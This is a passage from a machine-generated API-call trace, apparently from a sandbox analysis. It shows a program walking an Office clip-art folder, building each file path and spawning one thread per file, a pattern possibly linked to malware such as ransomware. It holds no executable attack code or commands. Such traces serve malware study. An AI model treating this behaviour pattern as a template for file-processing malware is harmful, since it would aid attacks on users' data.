Size=0x7c) returned 0x8f89a0 [0154.023] wcscpy (in: _Dest=0x8f89a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0154.023] wcscat (in: _Dest=0x8f89a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0154.023] wcscat (in: _Dest=0x8f89a0, _Source="J0234657.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF" [0154.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f89a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1144 [0154.024] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9eeb500, ftCreationTime.dwHighDateTime=0x1bf2be6, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9eeb500, ftLastWriteTime.dwHighDateTime=0x1bf2be6, nFileSizeHigh=0x0, nFileSizeLow=0xd4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234687.GIF", cAlternateFileName="")) returned 1 [0154.024] wcscmp (_String1="J0234687.GIF", _String2=".") returned 1 [0154.024] wcscmp (_String1="J0234687.GIF", _String2="..") returned 1 [0154.024] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8890 [0154.024] wcscpy (in: _Dest=0x8f8890, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0154.024] wcscat (in: _Dest=0x8f8890, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0154.024] wcscat (in: _Dest=0x8f8890, _Source="J0234687.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF" [0154.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1140 [0154.025] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85566d00, ftCreationTime.dwHighDateTime=0x1be911f, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85566d00, ftLastWriteTime.dwHighDateTime=0x1be911f, nFileSizeHigh=0x0, nFileSizeLow=0x1820, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235241.WMF", cAlternateFileName="")) returned 1 [0154.025] wcscmp (_String1="J0235241.WMF", _String2=".") returned 1 [0154.025] wcscmp (_String1="J0235241.WMF", _String2="..") returned 1 [0154.025] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f7e78 [0154.025] wcscpy (in: _Dest=0x8f7e78, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0154.025] wcscat (in: _Dest=0x8f7e78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0154.025] wcscat (in: _Dest=0x8f7e78, _Source="J0235241.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF" [0154.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7e78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x113c [0154.026] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c56b00, ftCreationTime.dwHighDateTime=0x1c0371d, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4c56b00, ftLastWriteTime.dwHighDateTime=0x1c0371d, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235319.WMF", cAlternateFileName="")) returned 1 [0154.026] wcscmp (_String1="J0235319.WMF", _String2=".") returned 1 [0154.026] wcscmp (_String1="J0235319.WMF", _String2="..") returned 1 [0154.026] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f70a8 [0154.026] wcscpy (in: _Dest=0x8f70a8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0154.026] wcscat (in: _Dest=0x8f70a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0154.027] wcscat (in: _Dest=0x8f70a8, _Source="J0235319.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF" [0154.027] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f70a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1138 [0154.028] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bd8800, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0bd8800, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x13d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240695.WMF", cAlternateFileName="")) returned 1 [0154.028] wcscmp (_String1="J0240695.WMF", _String2=".") returned 1 [0154.028] wcscmp (_String1="J0240695.WMF", _String2="..") returned 1 [0154.028] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8bc0 [0154.028] wcscpy (in: _Dest=0x8f8bc0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0154.028] wcscat (in: _Dest=0x8f8bc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0154.028] wcscat (in: _Dest=0x8f8bc0, _Source="J0240695.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF" [0154.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1134 [0154.029] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16dfe00, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc16dfe00, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x1aa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240719.WMF", cAlternateFileName="")) returned 1 [0154.033] wcscmp (_String1="J0240719.WMF", _String2=".") returned 1 [0154.033] wcscmp (_String1="J0240719.WMF", _String2="..") returned 1 [0154.033] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f7708 [0154.034] wcscpy (in: _Dest=0x8f7708, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0154.034] wcscat (in: _Dest=0x8f7708, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0154.034] wcscat (in: _Dest=0x8f7708, _Source="J0240719.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" [0154.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7708, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc8c [0154.976] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d89700, ftCreationTime.dwHighDateTime=0x1beb2f4, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28d89700, ftLastWriteTime.dwHighDateTime=0x1beb2f4, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251301.WMF", cAlternateFileName="")) returned 1 [0154.976] wcscmp (_String1="J0251301.WMF", _String2=".") returned 1 [0154.976] wcscmp (_String1="J0251301.WMF", _String2="..") returned 1 [0154.976] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c519e0 [0154.976] wcscpy (in: _Dest=0x12c519e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0154.976] wcscat (in: _Dest=0x12c519e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0154.976] wcscat (in: _Dest=0x12c519e0, _Source="J0251301.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" [0154.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c519e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1978 [0154.977] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf384f00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf384f00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x1232, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251871.WMF", cAlternateFileName="")) returned 1 [0154.977] wcscmp (_String1="J0251871.WMF", _String2=".") returned 1 [0154.977] wcscmp (_String1="J0251871.WMF", _String2="..") returned 1 [0154.977] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c51af0 [0154.977] wcscpy (in: _Dest=0x12c51af0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0154.977] wcscat (in: _Dest=0x12c51af0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0154.977] wcscat (in: _Dest=0x12c51af0, _Source="J0251871.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" [0154.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1974 [0154.979] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db62a00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3db62a00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251925.WMF", cAlternateFileName="")) returned 1 [0154.979] wcscmp (_String1="J0251925.WMF", _String2=".") returned 1 [0154.979] wcscmp (_String1="J0251925.WMF", _String2="..") returned 1 [0154.979] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c51b78 [0154.979] wcscpy (in: _Dest=0x12c51b78, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0154.979] wcscat (in: _Dest=0x12c51b78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0154.979] wcscat (in: _Dest=0x12c51b78, _Source="J0251925.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF" [0154.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51b78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1970 [0154.980] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb8de800, ftCreationTime.dwHighDateTime=0x1beb2f7, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb8de800, ftLastWriteTime.dwHighDateTime=0x1beb2f7, nFileSizeHigh=0x0, nFileSizeLow=0x158c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0252349.WMF", cAlternateFileName="")) returned 1 [0154.980] wcscmp (_String1="J0252349.WMF", _String2=".") returned 1 [0154.980] wcscmp (_String1="J0252349.WMF", _String2="..") returned 1 [0154.980] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c51c00 [0154.980] wcscpy (in: _Dest=0x12c51c00, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0154.980] wcscat (in: _Dest=0x12c51c00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0154.980] wcscat (in: _Dest=0x12c51c00, _Source="J0252349.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF" [0154.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1960 [0154.981] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fdf2000, ftCreationTime.dwHighDateTime=0x1beccca, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fdf2000, ftLastWriteTime.dwHighDateTime=0x1beccca, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0278882.WMF", cAlternateFileName="")) returned 1 [0154.981] wcscmp (_String1="J0278882.WMF", _String2=".") returned 1 [0154.981] wcscmp (_String1="J0278882.WMF", _String2="..") returned 1 [0154.981] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c51c88 [0154.981] wcscpy (in: _Dest=0x12c51c88, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0154.981] wcscat (in: _Dest=0x12c51c88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0154.981] wcscat (in: _Dest=0x12c51c88, _Source="J0278882.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF" [0154.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51c88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15d0 [0154.992] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0c800, ftCreationTime.dwHighDateTime=0x1bee443, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecd0c800, ftLastWriteTime.dwHighDateTime=0x1bee443, nFileSizeHigh=0x0, nFileSizeLow=0x4ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281904.WMF", cAlternateFileName="")) returned 1 [0154.992] wcscmp (_String1="J0281904.WMF", _String2=".") returned 1 [0154.992] wcscmp (_String1="J0281904.WMF", _String2="..") returned 1 [0154.992] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8f78 [0154.992] wcscpy (in: _Dest=0x8f8f78, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0154.992] wcscat (in: _Dest=0x8f8f78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0154.992] wcscat (in: _Dest=0x8f8f78, _Source="J0281904.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF" [0154.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a40 [0154.993] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a4f200, ftCreationTime.dwHighDateTime=0x1bed3d9, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe1a4f200, ftLastWriteTime.dwHighDateTime=0x1bed3d9, nFileSizeHigh=0x0, nFileSizeLow=0x4dc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0283209.GIF", cAlternateFileName="")) returned 1 [0154.993] wcscmp (_String1="J0283209.GIF", _String2=".") returned 1 [0154.994] wcscmp (_String1="J0283209.GIF", _String2="..") returned 1 [0154.994] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f89a0 [0154.994] wcscpy (in: _Dest=0x8f89a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0154.994] wcscat (in: _Dest=0x8f89a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0154.994] wcscat (in: _Dest=0x8f89a0, _Source="J0283209.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF" [0154.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f89a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1938 [0154.995] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ae3400, ftCreationTime.dwHighDateTime=0x1bea1cc, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ae3400, ftLastWriteTime.dwHighDateTime=0x1bea1cc, nFileSizeHigh=0x0, nFileSizeLow=0x62e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0284916.JPG", cAlternateFileName="")) returned 1 [0154.995] wcscmp (_String1="J0284916.JPG", _String2=".") returned 1 [0154.995] wcscmp (_String1="J0284916.JPG", _String2="..") returned 1 [0154.995] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f82b8 [0154.995] wcscpy (in: _Dest=0x8f82b8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0154.995] wcscat (in: _Dest=0x8f82b8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0154.995] wcscat (in: _Dest=0x8f82b8, _Source="J0284916.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" [0154.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f82b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1934 [0154.996] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa68bc300, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa68bc300, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x7876, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285360.WMF", cAlternateFileName="")) returned 1 [0154.996] wcscmp (_String1="J0285360.WMF", _String2=".") returned 1 [0154.996] wcscmp (_String1="J0285360.WMF", _String2="..") returned 1 [0154.996] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8918 [0154.996] wcscpy (in: _Dest=0x8f8918, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0154.996] wcscat (in: _Dest=0x8f8918, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0154.996] wcscat (in: _Dest=0x8f8918, _Source="J0285360.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF" [0154.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1930 [0154.997] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd63acb00, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd63acb00, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285410.WMF", cAlternateFileName="")) returned 1 [0154.997] wcscmp (_String1="J0285410.WMF", _String2=".") returned 1 [0154.997] wcscmp (_String1="J0285410.WMF", _String2="..") returned 1 [0154.997] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c51d10 [0154.997] wcscpy (in: _Dest=0x12c51d10, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0154.998] wcscat (in: _Dest=0x12c51d10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0154.998] wcscat (in: _Dest=0x12c51d10, _Source="J0285410.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF" [0154.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x192c [0155.002] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, 